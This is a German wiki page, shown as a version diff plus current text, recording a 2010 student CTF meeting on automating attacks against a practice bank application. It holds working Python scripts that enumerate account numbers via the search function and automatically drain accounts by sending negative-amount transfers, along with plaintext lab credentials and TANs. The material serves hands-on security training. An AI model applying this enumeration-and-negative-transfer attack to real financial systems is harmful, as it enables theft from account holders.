CInsects/Protokolle/CInsects:Treffen-2010-11-16: Unterschied zwischen den Versionen

Aus Fachschaft_Informatik
Zur Navigation springen Zur Suche springen
(ein wenig einfuehrender text)
K (Bot: Kosmetische Änderungen)
 
(5 dazwischenliegende Versionen von 5 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
Diese Seite ist eine Unterseite von [[CInsects]].
Diese Seite ist eine Unterseite von [[CInsects]].


Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.


= Exploit =
= Exploit =


== Ein moeglicher Exploit ==
Haesslicher Quelltext:


== Schnelles auslesen der Kontonummern ueber gevent ==
<pre>
<pre>
from gevent import monkey
monkey.patch_socket()


import urllib2
import urllib2
import urllib
import urllib
import cookielib
import cookielib
import string
import re
import re
from itertools import product
from itertools import product, chain
import string
import gevent


cj = cookielib.CookieJar()
cj = cookielib.CookieJar()
Zeile 22: Zeile 25:


url = 'http://badbank.cinsects.de'
url = 'http://badbank.cinsects.de'
data = urllib.urlencode({
    'user': 'Jan',
    'password': 'AZyNEBAeTC'
})
request = urllib2.urlopen(url + '/index.php', data)
login = request.read()


def alpha_beta_liste():
def login(user, password):
     return [a+b for a, b in product(string.lowercase, string.lowercase)]
     params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)


def search(params):
# Wir interessieren und nur fuer die Kontonummern
     print params
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
     req = urllib2.urlopen(url + '/index.php?page=search', params)
def fetch_accounts(searchterm):
    suche = req.read()
     params = urllib.urlencode({
     result = ktnre.findall(suche)
        'name': searchterm
    if result:
    })
        name_nummer_list.append(result)
     data = urllib2.urlopen(url + '/index.php?page=search', params).read()
    print name_nummer_list
     return account_re.findall(data)


def transfer(kontonummer, betrag, tan_id, tan):
if __name__ == '__main__':
     params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
     login('Jan', 'AZyNEBAeTC')
     req = urllib2.urlopen(url + '/index.php?page=transfer', params)
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
     seite = req.read()
     jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
     if erfolg.findall(seite):
     gevent.joinall(jobs, timeout=120)
        print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
     # Ergebnisse lesen und Liste flachklopfen
    else:
    accounts = list(chain(*[job.value for job in jobs]))
        print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name
    print accounts
   
</pre>
alphabeta  = alpha_beta_liste()
 
ktnre = re.compile('<td>(.*)</td>')
Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
betrag = -10
<pre>
tan_id = 500
real 0m19.563s
tan = 700338
user 0m1.356s
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")
sys 0m0.240s
name_nummer_list = []
</pre>
 
 
ein kleines Script welches die übersicht über den Kontostand.
<pre>
import urllib
import urllib2
import cookielib
import re
import time
 
 
selfkn='43568'
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
 
url = 'http://badbank.cinsects.de'
 
def login(user, password):
    params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)


for name in alphabeta:
def printKonto():
     print name
     text=urllib2.urlopen(url + '/index.php').read()
    params = urllib.urlencode({'name': name})
     #print text
     while True:
    print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]
        try:
            search(params)
            break
        except urllib2.URLError, e:
            print "Fehler aufgetreten" + e




print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
while True:
     for elem in name_nummer_list:
     printKonto()
        name, kontonummer = elem
    time.sleep(5)


        while True:
            try:
                transfer(kontonummer, betrag, tan_id, tan)
                break
            except:
                pass
</pre>
</pre>


== Schnelles auslesen der Kontonummern ueber gevent ==
== Volautomatischen geldklauen ==
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.
<pre>
<pre>
from gevent import monkey
from gevent import monkey
monkey.patch_socket()
monkey.patch_socket()
Zeile 93: Zeile 113:
from itertools import product, chain
from itertools import product, chain
import gevent
import gevent
import os.path
selfkn='43568'


cj = cookielib.CookieJar()
cj = cookielib.CookieJar()
Zeile 113: Zeile 137:
         'name': searchterm
         'name': searchterm
     })
     })
     data = urllib2.urlopen(url + '/index.php?page=search', params).read()
     while True:
        try:
            data = urllib2.urlopen(url + '/index.php?page=search', params).read()
            break
        except:
            pass
    print '...Konto mit '+searchterm+' untersucht'
     return account_re.findall(data)
     return account_re.findall(data)
def ueberweise(konto,betrag):
    data = urllib.urlencode({
        'account':konto,
        'tan_id':176,
        'amount':betrag *-1,
        'tan':697768
    })
    while True:
        try:
            request = urllib2.urlopen(url + '/index.php?page=transfer',data)
            break
        except:
            pass
    ant=request.read()
    if(re.findall('(folgreich)',ant)):
        print 'Konto %s  um %s  Geld erleichtert' % (konto,betrag)
        return True
    return False
def plundern(konto):
    menge=1
    bad=0
    if(konto==selfkn):
        return 0;#sich selbst muss man kein geld ueberweisen
    while True:
        if(ueberweise(konto,menge)):
            menge*=2
            bad=0
        else:
            if(menge>1):
                menge/=2
            else:
              # time.sleep(5)
              bad+=1
              if(bad>10):
                  print 'Konto %s ist ganz Leer' % (konto)
                  break
    return 1


if __name__ == '__main__':
if __name__ == '__main__':
     login('Jan', 'AZyNEBAeTC')
     print 'Login....'
     searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
    #login('Doerte', 'NMrSymamb2')
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
     print 'Suche Konten'
    gevent.joinall(jobs, timeout=120)
    if(os.path.exists('konten')):
    # Ergebnisse lesen und Liste flachklopfen
        accounts=[]
    accounts = list(chain(*[job.value for job in jobs]))
        ko=open('konten')
     print accounts
        while True:
            test=ko.read(5)
            if(test==''):
                break
            accounts.append(test)
            ko.read(1)
    else:
        searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
        jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
        gevent.joinall(jobs, timeout=500)
        # Ergebnisse lesen und Liste flachklopfen
        accounts = list(chain(*[job.value for job in jobs]))
    #print accounts
     print 'Konten gefunden'
    jobs = [gevent.spawn(plundern,konto) for konto in accounts]
    gevent.joinall(jobs, timeout=500)
 
</pre>
</pre>


Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
[[Kategorie:CInsects-Protokolle]]
<pre>
real 0m19.563s
user 0m1.356s
sys 0m0.240s
</pre>

Aktuelle Version vom 8. Juni 2012, 16:12 Uhr

Diese Seite ist eine Unterseite von CInsects.

Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. ipython und die Dokumentation waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte urllib2 und CookieJar in den Raum geschmissen. Die Firefox-Plugins livehttpheaders und web developer toolbar erleichterten das Verstaendnis beim Erforschen der Seite.

Exploit[Bearbeiten]

Schnelles auslesen der Kontonummern ueber gevent[Bearbeiten]

from gevent import monkey
monkey.patch_socket()

import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
    params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)

# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
    params = urllib.urlencode({
        'name': searchterm
    })
    data = urllib2.urlopen(url + '/index.php?page=search', params).read()
    return account_re.findall(data)

if __name__ == '__main__':
    login('Jan', 'AZyNEBAeTC')
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
    gevent.joinall(jobs, timeout=120)
    # Ergebnisse lesen und Liste flachklopfen
    accounts = list(chain(*[job.value for job in jobs]))
    print accounts

Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):

real	0m19.563s
user	0m1.356s
sys	0m0.240s


ein kleines Script welches die übersicht über den Kontostand.

import urllib
import urllib2
import cookielib
import re
import time


selfkn='43568'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
    params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)

def printKonto():
    text=urllib2.urlopen(url + '/index.php').read()
    #print text
    print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]


print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
    printKonto()
    time.sleep(5)

Volautomatischen geldklauen[Bearbeiten]

Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.


from gevent import monkey
monkey.patch_socket()

import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent
import os.path


selfkn='43568'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'

def login(user, password):
    params = urllib.urlencode({
        'user': user,
        'password': password
    })
    urllib2.urlopen(url + '/index.php', params)

# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
    params = urllib.urlencode({
        'name': searchterm
    })
    while True:
        try:
            data = urllib2.urlopen(url + '/index.php?page=search', params).read()
            break
        except:
            pass
    print '...Konto mit '+searchterm+' untersucht'
    return account_re.findall(data)

def ueberweise(konto,betrag):
    data = urllib.urlencode({
        'account':konto,
        'tan_id':176,
        'amount':betrag *-1,
        'tan':697768
    })
    while True:
        try:
            request = urllib2.urlopen(url + '/index.php?page=transfer',data)
            break
        except:
            pass
    ant=request.read()
    if(re.findall('(folgreich)',ant)):
        print 'Konto %s  um %s  Geld erleichtert' % (konto,betrag)
        return True
    return False


def plundern(konto):
    menge=1
    bad=0
    if(konto==selfkn):
        return 0;#sich selbst muss man kein geld ueberweisen
    while True:
        if(ueberweise(konto,menge)):
             menge*=2
             bad=0
        else:
            if(menge>1):
                menge/=2
            else:
               # time.sleep(5)
               bad+=1
               if(bad>10):
                   print 'Konto %s ist ganz Leer' % (konto)
                   break
    return 1

if __name__ == '__main__':
    print 'Login....'
    #login('Doerte', 'NMrSymamb2')
    print 'Suche Konten'
    if(os.path.exists('konten')):
        accounts=[]
        ko=open('konten')
        while True:
            test=ko.read(5)
            if(test==''):
                 break
            accounts.append(test)
            ko.read(1)
    else:
        searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
        jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
        gevent.joinall(jobs, timeout=500)
        # Ergebnisse lesen und Liste flachklopfen
        accounts = list(chain(*[job.value for job in jobs]))
    #print accounts
    print 'Konten gefunden'
    jobs = [gevent.spawn(plundern,konto) for konto in accounts]
    gevent.joinall(jobs, timeout=500)